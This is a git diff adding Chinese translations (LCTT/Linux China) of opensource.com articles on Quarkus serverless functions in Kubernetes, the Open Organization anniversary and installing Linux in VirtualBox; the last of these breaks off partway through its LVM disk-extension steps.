[开发人员透视图中的拓扑视图][17]。你可能会看到你的容器荚Pod(无服务器函数)已经缩小为零(白线圈)。 + +![Topology view][18] + +### 4、在 Kubernetes 环境下测试函数 + +运行如下 `oc` 命令,搜索含有无服务器函数的路由: + +``` +$ oc get rt/quarkus-serverless-restapi +[...] +NAME                      URL                             READY   REASON +quarkus-serverless[...]   http://quarkus[...].SUBDOMAIN   True +``` + +使用 `curl` 命令访问搜索到的路由: + +``` +$ curl http://quarkus-serverless-restapi-quarkus-serverless-restapi.SUBDOMAIN/hello +``` + +过几秒钟,你可以得到跟在本地相同的结果: + +``` +Quarkus Function on Kubernetes +``` + +当你回到 OKD 集群内的拓扑图,Knative 服务会自动扩展。 + +![Scaling the Knative Function][19] + +由于 Knative 服务的默认设置,其 pod 在 30 秒后会再次下降至零。 + +### 下一步呢? + +无服务器不断地在演变,始于运行于虚拟机的函数,到后来的无服务器容器,并与企业原有系统集成。在此过程中,企业开发者借助 Quarkus,仍然可以使用自己熟悉的技术(比如 Java)创建一个项目,然后构建并部署到 Kubernetes。 + +本系列的下一篇文章将指导你优化 Kubernetes 中的 Java 无服务器函数,从而令程序启动更快,内存占用更小。 + +*文内图像来自:Daniel Oh, CC BY-SA 4.0* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/java-serverless-functions + +作者:[Daniel Oh][a] +选题:[lkxed][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/daniel-oh +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/gears_devops_learn_troubleshooting_lightbulb_tips_520.png +[2]: https://linux.cn/article-13429-1.html +[3]: https://opensource.com/article/19/6/reasons-kubernetes +[4]: https://cloud.google.com/knative/ +[5]: https://opensource.com/sites/default/files/uploads/serverless-journey.png +[6]: https://spring.io/serverless +[7]: https://kubeless.io/ +[8]: https://openwhisk.apache.org/ +[9]: https://fission.io/ +[10]: https://projectriff.io/ +[11]: https://quarkus.io/ +[12]: https://minikube.sigs.k8s.io/docs/start/ +[13]: https://docs.okd.io/latest/welcome/index.html +[14]: https://docs.okd.io/latest/installing/index.html +[15]: https://knative.dev/docs/install/knative-with-operators/ +[16]: https://docs.okd.io/latest/applications/projects/configuring-project-creation.html +[17]: https://docs.okd.io/latest/applications/application_life_cycle_management/odc-viewing-application-composition-using-topology-view.html +[18]: https://opensource.com/sites/default/files/uploads/topologyview.png +[19]: https://opensource.com/sites/default/files/uploads/scale-up-knative-function.png diff --git a/published/202210/20210602 New ways to learn about open organizations.md b/published/202210/20210602 New ways to learn about open organizations.md new file mode 100644 index 0000000000..ea8de3410b --- /dev/null +++ b/published/202210/20210602 New ways to learn about open organizations.md @@ -0,0 +1,125 @@ +[#]: subject: (New ways to learn about open organizations) +[#]: via: (https://opensource.com/open-organization/21/6/celebrate-sixth-anniversary) +[#]: author: (Laura Hilliger https://opensource.com/users/laurahilliger) +[#]: collector: (lujun9972) +[#]: translator: (MareDevi) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15133-1.html) + +了解开放组织的新途径 +====== + +> 通过参与两个令人兴奋的新项目来庆祝开放组织社区的六周年。 + +![](https://img.linux.net.cn/data/attachment/album/202210/12/143419tx8nrr51v8x6r515.jpg) + +2021 年 6 月 2 日,开放组织Open Organization社区庆祝其成立六周年。这是六年来([上百篇的][2])文章、([一系列的][3])书籍、([具有启发性的][4])对话、(我们所 [喜欢的][5])教学和学习。我们非常自豪地成为一个充满活力的开放专家和领导者的社区,致力于将 [开放原则][6] 带到大大小小的组织。事实上,许多 [开放组织大使][7]Open Organization Ambassadors 以帮助他人变得更加开放为职业,我们的社区仍然致力于帮助各行业的领导者以开放的心态和行为融入他们的社区和环境中。 + +[去年][8] 是开放组织项目的一个 [成长][9] 和 [发展][10] 时期。今年,我们将在这一势头的基础上继续努力。今天,我们很自豪地介绍两项新的倡议——当然,也邀请你的参加。 + +### 开启,调整,开放 + +首先,我们很高兴地宣布:我们社区的工作有了一个全新的场所。[OpenOrgTV][11]。这不仅仅是一个新的平台。它也是另一种媒介的实验:视频。 + +在我们的频道上,我们将举办各种对话 —— 从深层次的书评到社区圆桌会议。首先,请查看“[开放领导力对话][12]Open Leadership Conversations”系列,其中包括对某些富有洞察力的领导者的采访,提供他们对根据开放原则进行领导的意义的观点。或者观看我们的 Q&A 式写作节目 “[问大使][13]Ask the Ambassadors”,由社区专家回答你关于组织文化和设计的问题。也想参与这个节目吗?在我们的 [新的专门的论坛][14] 中向社区成员提交你的问题。 + +整个月,我们都会介绍 [开放组织大使][15]Open Organization Ambassadors,让你终于可以看到他们的面孔,并听到你多年来阅读的故事、案例研究和采访背后的声音。 + +### 定义开放领导力 + +自从我们几年前发布它以来,[开放组织定义][16]Open Organization Definition 已成为更好地理解开放组织文化和设计本质的组织指导框架(并且我们已经做了很多工作来 [教导其他人][17])。随着时间的推移,我们甚至开发了 [一个成熟度模型][18] 来操作该定义,因此组织可以评估自己的开放程度并制定具体计划以变得 _更加_ 开放。 + +现在,我们认为是时候将这项工作更进一步了。 + +但是,开放组织社区不仅仅是平台、工具或项目的任何组合。它是所有人都热情地一起工作,以帮助传播开放原则和实践。 + +受我们自己经验、[红帽][19] 和 [Mozilla][20] 等开放组织已有的框架、多年研究和采访该领域的开放领袖的启发,以及我们对更好地理解开放领导力如何 _真正_ 发挥作用的渴望,我们很高兴公布一份全新文件的早期草案:开放领导力定义Open Leadership Definition。 + +本文档概述了建立开放型组织,并使其成为思想开放的人能够成长和茁壮成长的地方的各类领导者所特有的心态和行为。它建立在开放领导力定义Open Leadership Definition的基础上,解释了开放型领导者如何体现和倡导开放型组织的特征,如透明度、包容性、适应性、协作性和社区性。 + +而且我们渴望与世界分享。 + +从今天开始(在接下来的两周内),我们将收集你对我们文件草案的见解和意见。我们渴望听到你的想法,并将接受你的意见的 _整体_ 或片段。你可以对文件的个别部分或整个文件提出意见。请查看下面的链接。我们期待着听到你的意见。 + +![Open Leadership Definition word cloud][21] + +*Laura Hiliger 提供的开放领导力定义词云 (CC BY-SA)* + +#### 开放领导力定义 + +- [开放领导力定义:简介][22] +- [开放领导力定义:透明度][23] +- [开放领导力定义:包容性][24] +- [开放领导力定义:适应性][25] +- [开放领导力定义:协作][26] +- [开放领导力定义:社区][27] + +在我们的共享文件夹中 [阅读全文][28]。 + +### 联系我们 + +当然,你仍然可以在所有常见的地方找到我们的社区,如: + + * [我们的项目网站][29],你通往整个开放组织项目和社区的门户。 + * [我们的对话中心][4],在这里你可以与社区成员互动,提出问题,了解新项目,寻找资源,并帮助他人。 + * [我们的 GitHub 组织][30],我们一直在公开研究新项目,并邀请你加入我们 + * [我们在 Opensource.com 的发表频道][2],我们在这里为各地区和各行业的从业人员发布最新的分析、案例研究、访谈和资源。 + * 我们的 [Twitter][31] 和 [LinkedIn][32] 平台,我们将在这里分享我们的最新进展,并促进新的对话。 + +但开放组织社区不仅仅是平台、工具或项目的任何组合。 是 _人_,所有人都热情地一起工作以帮助传播开放的原则和实践。正是这些人使我们的社区如此伟大。 + +六年来一直如此,并将永远保持下去。 + +### 从数字上看 + +![][33] + +*Jen Kelchner 提供的信息图* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/open-organization/21/6/celebrate-sixth-anniversary + +作者:[Laura Hilliger][a] +选题:[lujun9972][b] +译者:[MareDevi](https://github.com/MareDevi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/laurahilliger +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/openorg_sixth_anniversary.png?itok=3RWyEk5S +[2]: https://opensource.com/open-organization +[3]: https://theopenorganization.org/books +[4]: https://www.theopenorganization.community/ +[5]: https://www.youtube.com/watch?v=Snf6vICDbzw&list=PLLIYDJHuxOkaPEH76mIJe-HHplsiSAVej +[6]: https://theopenorganization.org/definition +[7]: https://theopenorganization.org/about +[8]: https://opensource.com/open-organization/20/6/scaling-energetic-community +[9]: https://opensource.com/open-organization/20/7/evolving-project-governance +[10]: https://opensource.com/open-organization/20/8/open-community-rebrands +[11]: http://theopenorganization.tv +[12]: https://www.youtube.com/watch?v=07YBs0ss9rU&list=PLLIYDJHuxOkYDTLbKRjcd9THTFtpnK8lh +[13]: https://www.youtube.com/watch?v=ukkZMYqRuUQ&list=PLLIYDJHuxOkY1gDbOFLDxGxwwmxeOATrI +[14]: https://www.theopenorganization.community/c/ask-community/19 +[15]: http://theopenorganization.org/roster/ +[16]: https://theopenorganization.org/definition/ +[17]: https://youtu.be/NYngFYGgxro +[18]: https://github.com/open-organization/open-org-maturity-model +[19]: https://github.com/red-hat-people-team/red-hat-multiplier +[20]: https://mozilla.github.io/open-leadership-framework/framework/#the-open-leadership-framework +[21]: https://opensource.com/sites/default/files/images/open-org/open_leadership_word_cloud.png (Open Leadership Definition word cloud) +[22]: https://docs.google.com/document/d/1blmf94ED_p4BHGv0luU_XrU26aF7tCzV6WTmh_v-PDY/edit?usp=sharing +[23]: https://docs.google.com/document/d/14ssBBL0h2vxU0WZoMnWs6eo_8oRfJhnAr5yr-fAiLGU/edit?usp=sharing +[24]: https://docs.google.com/document/d/1lRutADes5E0mcwtc6GR_Qw06PuJLc9-wUK5W1Gcf_BA/edit?usp=sharing +[25]: https://docs.google.com/document/d/1RcwWTpkT42bgkf6EPiECt8LyAJ1XZjNGhzk0cQuBB7c/edit?usp=sharing +[26]: https://docs.google.com/document/d/1hTvnpqQkOc76-0UJbV6tAvRxOE--bdt96mqGmAKGqiI/edit?usp=sharing +[27]: https://docs.google.com/document/d/1Zl1smi-4jDZNNWd0oNY8qRH-GDi9q5VfvgyZ7YLkvm4/edit?usp=sharing +[28]: https://drive.google.com/drive/folders/1e1N_0p5lJEwAo_s6hQ3OK0KaJIfc7fgF?usp=sharing +[29]: http://theopenorganization.org/ +[30]: https://github.com/open-organization +[31]: https://twitter.com/openorgproject +[32]: https://www.linkedin.com/company/the-open-organization/ +[33]: https://opensource.com/sites/default/files/images/open-org/openorgproject_6_anniversary_stats.png diff --git a/published/202210/20210604 Optimize Java serverless functions in Kubernetes.md b/published/202210/20210604 Optimize Java serverless functions in Kubernetes.md new file mode 100644 index 0000000000..ed41d62c82 --- /dev/null +++ b/published/202210/20210604 Optimize Java serverless functions in Kubernetes.md @@ -0,0 +1,243 @@ +[#]: subject: (Optimize Java serverless functions in Kubernetes) +[#]: via: (https://opensource.com/article/21/6/java-serverless-functions-kubernetes) +[#]: author: (Daniel Oh https://opensource.com/users/daniel-oh) +[#]: collector: (lujun9972) +[#]: translator: (cool-summer-021) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15178-1.html) + +优化 Kubernetes 中的 Java 无服务器函数 +====== + +> 在 Kubernetes 中运行无服务器函数时,实现更快的启动速度和更小的内存占用。 + +![](https://img.linux.net.cn/data/attachment/album/202210/26/151603a4a44w1a71zk8b11.jpg) + +由于运行上千个应用程序容器荚Pod所耗费的资源多,令它实现较少工作节点和资源占用所需成本也较高,所以在使用 [Kubernetes][2] 时,快速启动和较少的内存占用是至关重要的。在 Kubernetes 平台运行容器化微服务时,内存占用是比吞吐量更重要的考量因素,这是因为: + + * 由于需要持续运行,所以耗费资源更多(不同于 CPU 占用) + * 微服务令开销成本成倍增加 + * 一个单体应用程序变为若干个微服务的情况(例如 20 个微服务占用的存储空间约有 20GB) + +这些情况极大影响了无服务器函数的发展和 Java 部署模型。到目前为止,许多企业开发人员选择 Go、Python 或 Node.js 这些替代方案来解决性能瓶颈,直到出现了 [Quarkus][3] 这种基于 kubernetes 的原生 Java 堆栈,才有所改观。本文介绍如何在使用了 Quarkus 的 kubernetes 平台上进行性能优化,以便运行无服务器函数。 + +### 容器优先的设计理念 + +由于 Java 生态系统中传统的框架都要进行框架的初始化,包括配置文件的处理、`classpath` 的扫描、类加载、注解的处理以及构建元模型,这些过程都是必不可少的,所以它们都比较耗费资源。如果使用了几种不同的框架,所耗费的资源也是成倍增加。 + +Quarkus 通过“左移shifting left”,把所有的资源开销大的操作都转移到构建阶段,解决了这些 Java 性能问题。在构建阶段进行代码和框架分析、字节码转换和动态元模型生成,而且只有一次,结果是:运行时可执行文件经过高度优化,启动非常快,不需要经过那些传统的启动过程,全过程只在构建阶段执行一次。 + +![Quarkus Build phase][4] + +更重要的是:Quarkus 支持构建原生可执行文件,它具有良好性能,包括快速启动和极小的驻留集大小resident set size(RSS)内存占用,跟传统的云原生 Java 栈相比,具备即时扩展的能力和高密度的内存利用。 + +![Quarkus RSS and Boot Time Metrics][7] + +这里有个例子,展示如何使用 Quarkus 将一个 [Java 无服务器][8] 项目构建为本地可执行文件。 + +### 1、使用 Quarkus 创建无服务器 Maven 项目 + +以下命令生成一个 Quarkus 项目,(例如 `quarkus-serverless-native`)以此创建一个简单的函数: + +``` +$ mvn io.quarkus:quarkus-maven-plugin:1.13.4.Final:create \ +       -DprojectGroupId=org.acme \ +       -DprojectArtifactId=quarkus-serverless-native \ +       -DclassName="org.acme.getting.started.GreetingResource" +``` + +### 2、构建一个本地可执行文件 + +你需要使用 GraalVM 为 Java 程序构建一个本地可执行文件。你可以选择 GraalVM 的任何发行版,例如 [Oracle GraalVM Community Edition (CE)][9] 或 [Mandrel][10](Oracle GraalVM CE 的下游发行版)。Mandrel 是为支持 OpenJDK 11 上的 Quarkus-native 可执行文件的构建而设计的。 + +打开 `pom.xml`,你将发现其中的 `native` 设置。你将使用它来构建本地可执行文件。 + +``` + +    +        native +        +            native +        +    + +``` + +> **注意:** 你可以在本地安装 GraalVM 或 Mandrel 发行版。你也可以下载 Mandrel 容器映像来构建它(像我那样),因此你还需要在本地运行一个容器引擎(例如 Docker)。 + +假设你已经打开了容器运行时,此时需要运行一下 Maven 命令: + +使用 [Docker][11] 作为容器引擎: + +``` +$ ./mvnw package -Pnative \ + -Dquarkus.native.container-build=true \ + -Dquarkus.native.container-runtime=docker +``` + +使用 [Podman][12] 作为容器引擎: + +``` +$ ./mvnw package -Pnative \ + -Dquarkus.native.container-build=true \ + -Dquarkus.native.container-runtime=podman +``` + +输出信息结尾应当是 `BUILD SUCCESS`。 + +![Native Build Logs][13] + +不借助 JVM 直接运行本地可执行文件: + +``` +$ target/quarkus-serverless-native-1.0.0-SNAPSHOT-runner +``` + +输出信息类似于: + +``` +__ ____ __ _____ ___ __ ____ ______ + --/ __ \/ / / / _ | / _ \/ //_/ / / / __/ + -/ /_/ / /_/ / __ |/ , _/ ,< / /_/ /\ \ +--\___\_\____/_/ |_/_/|_/_/|_|\____/___/ +INFO [io.quarkus] (main) quarkus-serverless-native 1.0.0-SNAPSHOT native +(powered by Quarkus xx.xx.xx.) Started in 0.019s. Listening on: http://0.0.0.0:8080 +INFO [io.quarkus] (main) Profile prod activated. +INFO [io.quarkus] (main) Installed features: [cdi, kubernetes, resteasy] +``` + +简直是超音速!启动只花了 19 毫秒。你的运行时间可能稍有不同。 + +使用 Linux 的 `ps` 工具检测一下,结果内存占用还是很低。检测的方法是:在应用程序运行期间,另外打开一个终端,运行如下命令: + +``` +$ ps -o pid,rss,command -p $(pgrep -f runner) +``` + +输出结果类似于: + +``` +  PID    RSS COMMAND +10246  11360 target/quarkus-serverless-native-1.0.0-SNAPSHOT-runner +``` + +该进程只占 11MB 内存。非常小! + +> **注意:** 各种应用程序(包括 Quarkus)的驻留集大小和内存占用,都因运行环境而异,并随着应用程序载入而上升。 + +你也可以使用 REST API 访问这个函数。输出结果应该是 `Hello RESTEasy`: + +``` +$ curl localhost:8080/hello +Hello RESTEasy +``` + +### 3、把函数部署到 Knative 服务 + +如果你还没有创建命名空间,现在就在 [OKD][15](OpenShift Kubernetes 发行版)[创建一个命名空间][14](例如 `quarkus-serverless-native`),进而把这个本地可执行文件部署为无服务器函数。然后添加 `quarkus-openshift` 扩展: + +``` +$ ./mvnw -q quarkus:add-extension -Dextensions="openshift" +``` + +向 `src/main/resources/application.properties` 文件中添加以下内容,配置 Knative 和 Kubernetes 的相关资源: + +``` +quarkus.container-image.group=quarkus-serverless-native +quarkus.container-image.registry=image-registry.openshift-image-registry.svc:5000 +quarkus.native.container-build=true +quarkus.kubernetes-client.trust-certs=true +quarkus.kubernetes.deployment-target=knative +quarkus.kubernetes.deploy=true +quarkus.openshift.build-strategy=docker +``` + +构建本地可执行文件,并把它直接部署到 OKD 集群: + +``` +$ ./mvnw clean package -Pnative +``` + +> **注意:** 提前使用 `oc login` 命令,确保登录的是正确的项目(例如 `quarkus-serverless-native`)。 + +输出信息结尾应当是 `BUILD SUCCESS`。完成一个本地二进制文件的构建并部署为 Knative 服务需要花费几分钟。成功创建服务后,使用 `kubectl` 或 `oc` 命令工具,可以查看 Knative 服务和版本信息: + +``` +$ kubectl get ksvc +NAME URL [...] +quarkus-serverless-native http://quarkus-serverless-native-[...].SUBDOMAIN True + +$ kubectl get rev +NAME CONFIG NAME K8S SERVICE NAME GENERATION READY REASON +quarkus-serverless-native-00001 quarkus-serverless-native quarkus-serverless-native-00001 1 True +``` + +### 4、访问本地可执行函数 + +运行 `kubectl` 命令,搜索无服务器函数的节点: + +``` +$ kubectl get rt/quarkus-serverless-native +``` + +输出信息类似于: + +``` +NAME URL READY REASON +quarkus-serverless-native http://quarkus-serverless-restapi-quarkus-serverless-native.SUBDOMAIN True +``` + +用 `curl` 命令访问上述信息中的 `URL` 字段: + +``` +$ curl http://quarkus-serverless-restapi-quarkus-serverless-native.SUBDOMAIN/hello +``` + +过了不超过一秒钟,你也会得到跟本地操作一样的结果: + +``` +Hello RESTEasy +``` + +当你在 OKD 群集中访问 Quarkus 运行中的节点的日志,你会发现本地可执行文件正在以 Knative 服务的形式运行。 + +![Native Quarkus Log][16] + +### 下一步呢? + +你可以借助 GraalVM 发行版优化 Java 无服务器函数,从而在 Knative 中使用 Kubernetes 将它们部署为无服务器函数。Quarkus 支持在普通的微服务中使用简易配置进行性能优化。 + +本系列的下一篇文章将指导你在不更改代码的情况下跨多个无服务器平台实现可移植函数。 + +*(Daniel Oh, [CC BY-SA 4.0][5])* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/java-serverless-functions-kubernetes + +作者:[Daniel Oh][a] +选题:[lujun9972][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/daniel-oh +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ship_captain_devops_kubernetes_steer.png?itok=LAHfIpek (Ship captain sailing the Kubernetes seas) +[2]: https://opensource.com/article/19/6/reasons-kubernetes +[3]: https://quarkus.io/ +[4]: https://opensource.com/sites/default/files/uploads/quarkus-build.png (Quarkus Build phase) +[5]: https://creativecommons.org/licenses/by-sa/4.0/ +[6]: https://quarkus.io/blog/runtime-performance/ +[7]: https://opensource.com/sites/default/files/uploads/quarkus-boot-metrics.png (Quarkus RSS and Boot Time Metrics) +[8]: https://opensource.com/article/21/5/what-serverless-java +[9]: https://www.graalvm.org/community/ +[10]: https://github.com/graalvm/mandrel +[11]: https://www.docker.com/ +[12]: https://podman.io/ +[13]: https://opensource.com/sites/default/files/uploads/native-build-logs.png (Native Build Logs) +[14]: https://docs.okd.io/latest/applications/projects/configuring-project-creation.html +[15]: https://docs.okd.io/latest/welcome/index.html +[16]: https://opensource.com/sites/default/files/uploads/native-quarkus-log.png (Native Quarkus Log) diff --git a/published/202210/20210629 Try Linux on any operating system with VirtualBox.md b/published/202210/20210629 Try Linux on any operating system with VirtualBox.md new file mode 100644 index 0000000000..8c05f463fc --- /dev/null +++ b/published/202210/20210629 Try Linux on any operating system with VirtualBox.md @@ -0,0 +1,264 @@ +[#]: subject: (Try Linux on any operating system with VirtualBox) +[#]: via: (https://opensource.com/article/21/6/try-linux-virtualbox) +[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) +[#]: collector: (lujun9972) +[#]: translator: (chai001125) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15183-1.html) + +使用 VirtualBox 安装 Linux 虚拟机 +====== + +> VirtualBox 能帮助任何人(即使是命令行新手)安装一个新的虚拟机。 + +![](https://img.linux.net.cn/data/attachment/album/202210/27/104215te6xpq2e2vvxprjs.jpg) + +VirtualBox 能让任何人都可以轻松安装 Linux 虚拟机。你不需要有使用命令行的经验,就可以自己安装一个简单的 Linux 虚拟机。在虚拟机方面,我精通很多东西,但这篇文章将向新手展示如何安装一个 Linux 虚拟机。此外,这篇文章还概述了如何使用开源虚拟机管理程序 [VirtualBox][2] ,来运行以及安装一个测试目的的 Linux 系统。 + +### 一些术语 + +在开始之前,你需要了解在本安装教程中的两个操作系统(OS)之间的区别: + + * 主机系统host system:这指的是你安装 VirtualBox 的操作系统(即本机的操作系统)。 + * 客体系统guest system:这指的是你想要在主机系统之上运行的虚拟化系统。 + +在输入/输出、网络、文件访问、剪贴板、音频和视频方面,主机系统和客体系统都必须能够交互。 + +在本教程中,我将使用 Windows 10 作为 _主机系统_,[Fedora 33][3] 作为 _客体系统_。 + +### 安装前的准备 + +当我们谈论虚拟化时,实际上,我们指的是 [硬件辅助虚拟化][4]。硬件辅助虚拟化需要兼容的 CPU。过去十年来,几乎每个普通的 x86 CPU 都有这一功能。AMD 公司称这样的 x86 CPU 是具有 **AMD 虚拟化技术(AMD-V)** 的处理器,英特尔公司则称其是具有 **Intel 虚拟化技术(VT-x)** 的处理器。虚拟化功能增加了一些额外的 CPU 指令,你可以在 BIOS 中启用或禁用这些指令。 + +在安装虚拟机之前: + + * 确保在 BIOS 中启用了虚拟化技术(AMD-V 或 VT-x)。 + * 下载并安装好 [VirtualBox][5]。 + +### 准备虚拟机 + +下载你要用的 Linux 发行版的镜像文件。下载 32 位还是 64 位的操作系统镜像都没有关系,因为在 32 位的主机系统上也可以启动 64 位的操作系统镜像(当然内存的使用会受限),反之亦然。 + +> **注意事项:** 如果可以的话,请下载附带有 [逻辑卷管理器][6](LVM)的 Linux 发行版。LVM 会将文件系统与物理硬盘驱动器解耦。如果你的空间不足时,这能够让你增加客体系统的硬盘驱动器的大小。 + +现在,打开 VirtualBox,然后单击黄色的“新建New”按钮: + +![VirtualBox New VM][7] + +接下来,配置客体操作系统允许使用多少内存: + +![Set VM memory size][9] + +我的建议是:**不要吝啬分配给客体操作系统使用的内存!** 当客体操作系统的内存不足时,客体系统将开始从随机存取存储器(RAM)向硬盘驱动器进行内存分页,这样会极大地恶化系统的性能和响应能力。如果底层的主机系统开始分页,你很可能不会注意到。对于具有图形化桌面环境的 Linux 工作站系统,我建议至少分配 4GB 内存。 + +接下来,创建虚拟磁盘: + +![Create virtual hard disk][10] + +虚拟磁盘的格式选择默认的选项 “VDI(VirtualBox 磁盘镜像)” 就可以了: + +![Selecting hard disk file type][11] + +在以下的窗口中,我建议选择“动态分配dynamically allocated”,因为这允许你在之后增加虚拟磁盘的大小。如果你选择了“固定大小fixed size”,磁盘的速度可能会更快,但你将无法修改虚拟磁盘的大小了: + +![Dynamically allocating hard disk][12] + +建议你使用附带有逻辑卷管理器(LVM)的 Linux 发行版,这样你就可以先创建一个较小的硬盘。如果之后你的客体系统的空间快用完了,你可以按需增加磁盘的大小。 + +> **注意**:我选择的客体系统为 Fedora,在 Fedora 的官网说明:[Fedora 至少需要分配 20GB 的空闲磁盘空间][13]。我强烈建议你遵守该规范。在这里,我选择了 8GB,以便稍后演示如何用命令行增加磁盘空间。如果你是 Linux 新手,或者对命令行没有经验,请依旧选择 20GB。 + +![Setting hard disk size][14] + +创建好硬盘驱动器后,从 VirtualBox 主窗口的列表中选择新创建的虚拟机,然后单击“设置Settings”。在设置菜单中,点击“系统System”,然后选择“处理器Processor”标签。默认情况下,VirtualBox 只向客体系统分配一个 CPU 内核。在现代多核 CPU 计算机上,分配至少两个内核是没有任何问题的,这能显著地加快客体系统的速度: + +![Assigning cores to guest system][15] + +#### 设置网络适配器 + +接下来,要处理的是网络设置。默认情况下, VirtualBox 会创建一个 NAT 连接,这对于大多数情况来说,是没有问题、不用做其他更改的: + +![Network settings][16] + +你也可以创建多个网络适配器。以下是网络适配器最常见的类型: + + * NAT:NAT 适配器能自动执行 [网络地址转换][17]。从外部看,主机和客体系统使用着相同的 IP 地址。你无法通过网络从主机系统内访问客体系统。(尽管,你也可以通过定义 [端口转发][18],来访问某些服务。)当你的主机系统可以访问互联网时,则你的客体系统也可以访问互联网。NAT 不再需要进一步的配置。 + * _如果你只需要让客体系统接入互联网就可以的话,请选择 “NAT”。_ + * 桥接适配器Bridged adapter:在此配置中,客体系统和主机系统可以共享相同的物理以太网设备。这两个系统都将拥有独立的 IP 地址。从外部看,网络中会有两个独立的系统,它们共享相同的物理以太网适配器。这种设置更灵活,但需要更多的配置。 + * _如果你想要共享客体系统的网络服务的话,请选择 “桥接适配器”。_ + * 仅限主机的适配器Host-only adapter:在此配置中,客体系统只能与主机,或在同一主机上运行的其他客体系统相互通信。主机系统也可以连接到客体系统。但客体系统不能接入互联网或物理网络。 + * _如果你想要获得高安全性,请选择 “仅限主机的适配器”。_ + +#### 分配操作系统镜像 + +在设置菜单中,点击“存储Storage”,然后选择虚拟光盘驱动器。单击右侧的 “光盘”图标,然后点击“选择一个磁盘文件……Choose a disk file…”,然后分配你想要安装的、已下载的 Linux 发行版镜像: + +![Assigning OS image][19] + +### 安装 Linux + +现在,就已经配置好了虚拟机。右上角关闭“设置Settings”菜单,返回主窗口。点击“绿色箭头”(即“开始”按钮)。虚拟机将从虚拟光盘驱动器启动,你将发现你已经进入到 Linux 发行版的安装程序中: + +![VirtualBox Fedora installer][20] + +#### 设置分区 + +安装程序将在安装过程中要求你提供分区信息。选择“自定义Custom”: + +![Selecting Custom partition configuration][21] + +> **注意:** 我假设,你创建这一虚拟机的目的是为了测试。此外,你也无需关心客体系统的休眠,因为此功能会由 VirtualBox 来隐式地提供。因此,你可以省略交换分区,以节省主机系统的磁盘空间。请记住,如果你需要的话,你可以稍后自己添加交换分区。在 《[Linux 系统交换空间的介绍][22]》 这篇文章中,作者 David Both 进一步解释了如何添加交换分区,并选择交换分区正确的大小。 + +Fedora 33 及之后更高的版本提供了一个 [zram 分区][23],zram 分区可以用于存放分页和交换、并经过压缩过后的硬盘数据。zram 分区可以按需地调整大小,并且它比硬盘交换分区快得多。 + +为了简单,我们只添加以下两个挂载点Mount Point: + +![Adding mount points][24] + +保存更改,接下来我们继续安装。 + +### 安装 VirtualBox 增强功能 + +完成安装后,从硬盘驱动器启动,并登录到虚拟机。现在,你可以安装 VirtualBox 增强功能VirtualBox Guest Additions,其中包括特殊的设备驱动程序和系统应用程序,它们能提供以下功能: + + * 共享剪贴板 + * 共享文件夹 + * 更好的性能 + * 可自由扩展的窗口大小 + +点击顶部菜单栏的“设备Devices”,然后选择“插入增强功能的 CD 镜像……Insert Guest Additions CD image...”,来安装 VirtualBox 增强功能: + +![Selecting Guest Additions CD image][25] + +在大多数 Linux 发行版上,带有增强功能的 CD 镜像会自动挂载,并且能够在文件管理器中找到。Fedora 会问你是否要运行安装脚本。单击“运行Run”,并授予该安装进程 root 权限: + +![Enabling Guest Additions autorun][26] + +安装完成后,需要重新启动系统。 + +### LVM:扩大磁盘空间 + +我在之前给 Fedora 虚拟机分配了 8GB 硬盘空间,是一个愚蠢的决定,因为 Fedora 很快就会告警空间不足: + +![Fedora hard disk running out of space][27] + +正如我提到的,Fedora 官网建议安装时分配 20GB 的磁盘空间。因为 8GB 是 Fedora 33 安装启动就需要的最少空间。没有安装其他软件(除了 VirtualBox 增强功能)的一个新安装的系统就几乎占用了整个 8GB 的可用空间。这时候,不要打开 GNOME 软件中心或任何其他可能从互联网下载文件的东西。 + +幸运的是,我选择了附带有 LVM 的 Fedora,这样我就可以用命令行轻松地修复这个问题。 + +要增加虚拟机中文件系统的空间,你必须先增加主机系统上分配的虚拟硬盘驱动器。 + +关闭虚拟机。如果你的主机系统运行的是 Windows,请打开终端,并进入到 `C:\Program Files\Oracle\VirtualBox` 目录下。使用以下命令,将磁盘大小扩大到 12,000MB: + +``` +VBoxManage.exe modifyhd "C:\Users\StephanA\VirtualBox VMs\Fedora_33\Fedora_33.vdi" --resize 12000 +``` + +然后启动虚拟机,并打开“磁盘Disks”工具。你可以看到你刚刚新创建且未分配的可用空间。选择“可用空间Free Space”,然后单击 “+” 按钮: + +![Free space before adding][28] + +现在,创建一个新的分区。选择你要使用的可用空间的大小: + +![Creating a new partition and setting size][29] + +如果你不想在新分区上创建文件系统或任何其他内容,请选择“其他Other”: + +![Selecting "other" for partition volume type][30] + +选择“无文件系统No Filesystem”: + +![Setting "No filesystem" on new partition][31] + +现在,磁盘空间应该如下图所示: + +![VirtualBox after adding new partition][32] + +虚拟机有了一个新的分区设备:`/dev/sda3`。通过输入 `vgscan` ,来检查你的 LVM 卷组,找到 `fedora_localhost_live` 这一 LVM 卷组 : + +![Checking LVM volume group by typing vgscan:][33] + +现在,已经万事俱备了。在新分区 `/dev/sda3` 中扩展卷组 `fedora_localhost_live`: + +``` +vgextend fedora_localhost-live /dev/sda3 +``` + +![vgextend command output][34] + +由于卷组比逻辑卷大,你可以增加逻辑卷的大小。命令 `vgdisplay` 显示了共有 951 个可用的物理扩展(PE): + +![vgdisplay command output][35] + 